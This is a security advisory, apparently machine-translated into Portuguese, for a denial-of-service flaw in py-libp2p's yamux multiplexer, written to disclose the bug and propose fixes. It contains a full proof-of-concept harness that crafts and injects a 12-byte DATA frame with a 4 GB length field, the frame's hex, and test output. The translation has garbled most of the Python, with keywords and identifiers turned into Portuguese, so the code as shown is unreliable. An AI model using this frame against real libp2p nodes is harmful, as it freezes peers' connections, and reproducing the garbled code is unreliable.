### Resumo O multiplexer de fluxo de yamux em py-libp 2 o p não valida os comprimentos de moldura DATA entrantes contra a janela de recebimento antes de ler o corpo do molde. Qualquer pair que complete uma libp padrão 2 O aperto de mão p pode enviar um único 12 - frame de byte reclamando um 4 Corpo GB, fazendo com que o loop de leitura de yamux da vítima bloqueie indefinidamente. Isto afeta a configuração padrão `new_host()' e não requer configuração especial em nenhum dos lados. ### Detalhes em `libp 2 p/stream_muxer/yamux/yamux.py` (linhas) 915 para 926 ), o método `handle_incoming()` envia no tipo de quadro. Quando um quadro de DATA chega, ele lê o corpo incondicionalmente: ```python elif type == TYPE_DATA: tente: data = ( aguarde read_exactly( self.secured_conn, comprimento) se comprimento > 0 Senão b"") ) ``` O campo ` comprimento ' é tirado diretamente do cabeçalho do quadro codificado por fio, um 32 - bit inteiro não assinado com um valor máximo de 4,294,967,295. Não há nenhuma verificação de que a `longitude` se encaixa na janela de recebimento do stream (`DEFAULT_WINDOW_SIZE = 256 * 1024 ` bytes '. O corpo lido também acontece antes do código verificar se o referencial `stream_id` existe mesmo em `self.streams` (que verificação está na linha 954 ), assim qualquer ID de fluxo desencadeia o problema. "handle_incoming()" é um único loop sequencial sem tempo de espera ao redor do corpo lido. Uma vez que `read_exactly` suspende a espera de dados que nunca vêm, o loop não pode processar quaisquer quadros subsequentes. Cada transmissão nessa conexão Yamux para de funcionar, e nenhuma exceção é levantada.

A mesma chamada não guardada aparece no branch SYN nas linhas 804 para 806, assim uma moldura SYN criada com um campo de comprimento grande ativa a mesma barraca. A especificação do yamux (seção) 3.3 ) requer explicitamente que o receptor reinicie o fluxo se um remetente transmitir mais dados do que a janela de recebimento permite. py-libp 2 o p não obriga a isso no lado do receptor. Todas as três implementações comparáveis fazem: go- yamux rastreia `recvWindow` por stream e retorna um erro `EnviarWindowExceed` na violação; o rouille- yamux valida o comprimento do quadro contra o crédito do stream; js-libp 2 p yamux verifica o comprimento do quadro em relação a `maxMessageSize`. ### PoC O arnês completa um aperto de mão normal de ruído e negociação de yamux entre dois anfitriões locais, confirma que yamux é saudável com um ping pré- ataque, em seguida, escreve um único quadro malicioso diretamente para a conexão segura do atacante. Após uma pequena pausa, ele tenta abrir um novo stream com um 3 - segundo prazo. O fluxo aberto nunca se completa. ```python """ autor: @tahafarooq POC: conexão Yamux DoS via frame de dados sobredimensionado (conexão DoS) """" importar os segredos de importação importar gc importar estrutura importar psutil importar trio importar multiaddr. a partir da libp 2 p importar o new_host do libp 2 p.crypto.ed 25519 importar criate_new_key_pair from libp 2 p.custom_types importam TProtocol do libp 2 p.peer.peerinfo importa PeerInfo do libp 2 p.stream_muxer.yamux.yamux importa Yamux.

LOOPBACK = multiaddr.Multiaddr("/ip) 4 / 127.0.0.1 / tcp/ 0 ") PING = TProtocolo("/ audit/ ping/ 1.0.0 ") YAMUX_HEADER_FORMAT = "!BHII" TYPE_DATA = 0 x 0 ENORME_LENGUELA = 0 xFFFF_FFFF # max uint 32 — 4,294,967,295 bytes def craft_malicious_frame(stream_id: int = 1 ) -> bytes: """ 12 -byte yamux DATA frame com bandeiras= 0 e comprimento= 4 GB. O stream_id é irrelevante: o yamux lê o corpo ANTES de verificar se o stream existe. """ devolver struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, GRAND_LENGURO) def _get_yamux(host, peer_id) -> Yamux (') Nenhum: swarm = host.get_network() conns = swarm.connections.get(peer_id) se o conn é nenhum: devolver Nenhum conn = conns[ 0 ] se isinstance(conns, list) outra conns mc = conn.muxed_conn retorna mc se isinstance(mc, Yamux) outra Nenhuma async def attack(): proc = psutil.Processo(os.getpid()) rss 0 = proc.memory_info(.rss. v_kp = create_new_key_pair(secrets.token_bytes( 32 ) a_kp = create_new_key_pair(secrets.token_bytes( 32 )).

# DEFAULT new_host() — ruído + yamux — sem seg_opt ou muxer_opt vítima explícita = new_host(key_pair=v_kp) atacante = new_host(key_pair=a_kp) victim.set_stream_handler(PING, lambda s: s. close()). async com o victim.run(listen_addrs=[LOOPBACK]): vaddr = victim.get_addrs()[ 0 ] afirmar " 127.0.0.1 " em str(vaddr), "SEGURIDADE: não- loopback" print(f"[*] Vítima: {vaddr}") print(f"[*] Configuração: DEFAULT (ruído + yamux)") async com o atacante.run(listen_addrs=[LOOPBACK]): aguarde o atacante.connect(PeerInfo(victim.get_id(), victim.get_addrs())) aguarde o trio.sleep( 0.2 ) a_ yamux = _get_ yamux(ataque, victim.get_id()) v_yamux = _get_yamux(victim, attacker.get_id()) afirmam a_yamux e v_yamux, "yamux muxed_conn not found" print( f"[*]] Muxer: attacker={type(a_yamux).__name_}, " f"victim={type(v_yamux)".__name_} ) # --- Pré- ataque: confirmar que o yamux é saudável --- pré_stream = aguarde o atacante.new_stream(victim.get_id(), [PING]) aguarde o pré_stream.close() print("[*] Pré- ataque ping: OK (yamux ao vivo)").

# --- Injetar o quadro malicioso --- frame = craft_malicious_frame(stream_id= 1 ) print( f"[*] Injetando {len(frame)}-byte frame yamux: " f"type=DATA flags= 0 x 0 stream_id= 1 comprimento={HUGE_LENGTH:# 010 x} " f" ({HUGE_LENGTH:,} bytes) ) print( f"[*] Frame hex: {frame.hex()}") # Escreva diretamente para o conn seguro criptografado com ruído. # secured_conn.write() criptografa antes de enviar; vítima descripta e # vê os bytes de frame em bruto do yamux, que manipulam_em chegando processos. aguarde a_yamux.secured_conn.write(frame) aguarde trio.sleep( 0.2 ) # A mensagem de game_incoming da vítima leu agora o 12 -byte, enviado # para `elif type == TYPE_DATA:`, e digitado read_exactly(conn, 4 GB). # --- Pós- ataque: tente usar o yamux --- post_ataque_sucedido = Falso. com trio.move_on_after( 3.0 ): try: post_stream = wait attacker.new_stream(victim.get_id(), [PING]) wait post_stream.close() post_atack_succeed = Verdadeiro Exceção como e: print( f"[*] Post-atack new_stream erro: {tipo(e).__name__}: {e}") gc.collect() rss 1 = proc.memory_info(.rss. print("\n== RESULTADOS ==") print(f"Modelo injectado (hex): {frame.hex()}") print( f"Campo de comprimento de corpo: {HUGE_LENGTH} bytes solicitados, 0 bytes sented" ) print( f"Post-atack ping OK: {post_atack_succeed}") print( f"RSS delta: {(rss) 1 - rss 0 ) / 1024:. 1 f} KiB").

yamux_stuck = não foi postado no post_ataque_stucked print(f"\nVictim yamux loop bloqueado: {yamux_stuck}"). se yamux_stuck: print( "[CONFIRMED] handle_incoming bloqueado - vítima yamux morto para " " esta conexão." ) print( "[IMPACT ] Único 12 -byte write from any authentificated peer " (("post-ruise-handshake)\n" " permanentemente bloqueia yamux para essa conexão.\n" "Afeta DEFAULT new_host() config - nenhum mplex requerido.\n" " Sem tempo de saída, sem cheque de comprimento máximo, sem exceção." ) senão: print("[NUNCA CONFIRMED] yamux respondeu pós-ataque.") afirme yamux_stuck, ( "Esperou que o yamux ficasse preso após injetar o quadro de DATA malicioso, " mas a conexão permaneceu funcional." ) def test_yamux_data_frame_stall(): trio.run(ataque). se __name___ == "__main__": trio.run(ataque) ``` '`` python 3 -m pytest test_poc.py::test_yamux_data_frame_stall -v ```. Frame maligno ( 12 bytes, hex): ` 00000000000000 01 ffffffffff`.

Versão ``` = 0 x 00 tipo = 0 x 00 (DATA) flags = 0 x 0000 stream_id= 0 x 00000001 comprimento = 0 xFFFFFFFFFF ( 4,294,967,295 bytes) ``` ``` [*] Configuração: DEFAULT (ruído + yamux) [*] Pré- ataque ping: OK (yamux ao vivo) [*] Injeção 12 -byte yamux frame: type=DATA flags= 0 x 0 stream_id= 1 comprimento= 0 xffffffff Vítima Yamux loop bloqueado: Verdadeiro [CONFIRMED] handle_incoming bloqueado - vítima yamux morto para esta conexão. PASSO em ~ 3.8 s ``` ### Impacto Um único par autentificado (um que completou o aperto de mão do ruído, que não requer credenciais) pode congelar permanentemente o loop de leitura do yamux para uma determinada conexão usando 12 bytes da carga útil. Todos os fluxos nessa conexão param de funcionar. Nenhuma exceção é levantada, nenhum registro é escrito, e nenhuma recuperação automática ocorre. Isto se aplica à configuração padrão `new_host()`. Ao contrário de um problema similar no mplex muxer (que requer um opt-in explícito), cada py-libp 2 o nó p usando a configuração padrão é afetado. No limite padrão de conexão de 10,000 conexões, um atacante em execução 10,000 os pares podem congelar todas as conexões usando aproximadamente 120 KB do tráfego total.

Não há nenhum impacto de confidencialidade ou integridade. O efeito é limitado à disponibilidade na conexão Yamux alvo. ** 1. Aplice a janela de recebimento no quadro de DATAs de entrada** (fixação primária) Antes de chamar `read_exactly`, rejeite quadros cujo comprimento declarado exceda a janela de recebimento negociada: ```python # libp 2 p/ stream_ muxer/ yamux/ yamux.py. MAX_YAMUX_FRAME = 256 * 1024 # corresponde ao padrão DEFAULT_WINDOW_SIZE e go- yamux elif type == TYPE_DATA: se comprimento > MAX_YAMUX_FRAME: logger.warning( f"yamux: oversized DATA frame long={longth} > {MAX_YAMUX_FRAME}, enviando RST" ) rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0 ) aguarde self.secured_conn.write(rst_header) continuar # saltar ler corpo; loop processa os próximos dados de quadro = aguarde ler_exatamente (self.secured_conn, comprimento) se comprimento > 0 Senão b""" ```.

A mesma verificação deve ser aplicada ao ramo SYN nas linhas 804 para 806. ** 2. Adicione um tempo de espera por quadro em `handle_incoming()`**. ````python enquanto não self.event_shutting_down.is_set(): tente: com trio.fail_after( 60 ): header = wait read_exactly( self.secured_conn, HEADER_SIZE)... exceto trio.TooSlowError: logger.warning("yamux: frame read timed out, closing connection") self.event_shutting_down.set() break ``` Opção 1 elimina a amplificação inteiramente. Opção 2 limite a pior duração de bloqueio para qualquer futuro caminho de leitura superdimensionada que possa ser introduzido. Registro de aconselhamento: GHSA-hmj 8 - 5 xmh- 5573. Identificadores relacionados: CVE- 2026 - 73568.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 24 T 22: 37: 17.000 Z e lista a sua última modificação como 2026 - 08 - 13 T 17: 43: 44.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: pacote PyPI libp 2 p — ECOSISTEM: introduzido 0, última afetada 0.7.0. Classificação e evidência: identificadores de fraqueza CWE- 400. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.